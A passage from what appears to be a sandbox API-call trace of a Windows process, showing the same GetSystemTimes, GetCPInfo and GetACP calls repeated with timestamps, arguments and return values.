lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.451] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.451] GetACP () returned 0x4e4 [0093.451] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.451] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.451] GetACP () returned 0x4e4 [0093.451] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.451] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.451] GetACP () returned 0x4e4 [0093.451] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.451] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.451] GetACP () returned 0x4e4 [0093.451] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.452] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.452] GetACP () returned 0x4e4 [0093.452] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.452] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.452] GetACP () returned 0x4e4 [0093.452] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.452] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.452] GetACP () returned 0x4e4 [0093.452] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.452] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.452] GetACP () returned 0x4e4 [0093.452] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.452] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.452] GetACP () returned 0x4e4 [0093.452] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.452] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.452] GetACP () returned 0x4e4 [0093.452] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.452] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.452] GetACP () returned 0x4e4 [0093.452] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.452] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.452] GetACP () returned 0x4e4 [0093.452] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.453] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.453] GetACP () returned 0x4e4 [0093.453] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.453] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.453] GetACP () returned 0x4e4 [0093.453] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.453] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.453] GetACP () returned 0x4e4 [0093.453] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.453] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.453] GetACP () returned 0x4e4 [0093.453] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.453] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.453] GetACP () returned 0x4e4 [0093.453] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.453] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.453] GetACP () returned 0x4e4 [0093.453] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.453] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.453] GetACP () returned 0x4e4 [0093.453] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.453] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.454] GetACP () returned 0x4e4 [0093.454] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.454] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.454] GetACP () returned 0x4e4 [0093.454] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.454] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.454] GetACP () returned 0x4e4 [0093.454] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.454] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.454] GetACP () returned 0x4e4 [0093.454] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.454] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.454] GetACP () returned 0x4e4 [0093.454] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.454] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.454] GetACP () returned 0x4e4 [0093.454] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.454] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.454] GetACP () returned 0x4e4 [0093.454] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.454] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.454] GetACP () returned 0x4e4 [0093.454] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.455] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.455] GetACP () returned 0x4e4 [0093.455] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.455] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.455] GetACP () returned 0x4e4 [0093.455] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.455] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.455] GetACP () returned 0x4e4 [0093.455] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.455] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.455] GetACP () returned 0x4e4 [0093.455] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.455] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.455] GetACP () returned 0x4e4 [0093.455] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.455] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.455] GetACP () returned 0x4e4 [0093.455] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.455] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.455] GetACP () returned 0x4e4 [0093.455] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.456] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.456] GetACP () returned 0x4e4 [0093.456] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.456] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.456] GetACP () returned 0x4e4 [0093.456] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.456] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.456] GetACP () returned 0x4e4 [0093.456] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.456] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.456] GetACP () returned 0x4e4 [0093.456] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.456] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.456] GetACP () returned 0x4e4 [0093.456] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.456] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.456] GetACP () returned 0x4e4 [0093.456] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.457] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.457] GetACP () returned 0x4e4 [0093.457] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.457] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.457] GetACP () returned 0x4e4 [0093.457] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.457] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.457] GetACP () returned 0x4e4 [0093.457] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.457] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.457] GetACP () returned 0x4e4 [0093.457] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.457] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.457] GetACP () returned 0x4e4 [0093.457] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.457] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.457] GetACP () returned 0x4e4 [0093.457] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.458] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.458] GetACP () returned 0x4e4 [0093.458] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.458] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.458] GetACP () returned 0x4e4 [0093.458] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.458] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.458] GetACP () returned 0x4e4 [0093.458] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.458] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.458] GetACP () returned 0x4e4 [0093.458] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.458] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.458] GetACP () returned 0x4e4 [0093.458] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.458] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.458] GetACP () returned 0x4e4 [0093.458] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.458] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.458] GetACP () returned 0x4e4 [0093.458] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.458] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.458] GetACP () returned 0x4e4 [0093.458] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.459] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.459] GetACP () returned 0x4e4 [0093.459] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.459] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.459] GetACP () returned 0x4e4 [0093.459] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.459] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.459] GetACP () returned 0x4e4 [0093.459] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.459] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.459] GetACP () returned 0x4e4 [0093.459] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.459] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.459] GetACP () returned 0x4e4 [0093.459] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.459] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.459] GetACP () returned 0x4e4 [0093.459] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.459] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.459] GetACP () returned 0x4e4 [0093.459] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.460] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.460] GetACP () returned 0x4e4 [0093.460] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.460] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.460] GetACP () returned 0x4e4 [0093.460] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.460] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.460] GetACP () returned 0x4e4 [0093.460] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.460] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.460] GetACP () returned 0x4e4 [0093.460] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.460] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.460] GetACP () returned 0x4e4 [0093.460] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.460] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.460] GetACP () returned 0x4e4 [0093.460] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.460] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.460] GetACP () returned 0x4e4 [0093.460] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.461] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.461] GetACP () returned 0x4e4 [0093.461] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.461] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.461] GetACP () returned 0x4e4 [0093.461] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.461] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.461] GetACP () returned 0x4e4 [0093.461] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.461] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.461] GetACP () returned 0x4e4 [0093.461] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.461] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.461] GetACP () returned 0x4e4 [0093.461] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.461] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.461] GetACP () returned 0x4e4 [0093.461] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.461] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.461] GetACP () returned 0x4e4 [0093.461] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.461] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.461] GetACP () returned 0x4e4 [0093.461] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.462] 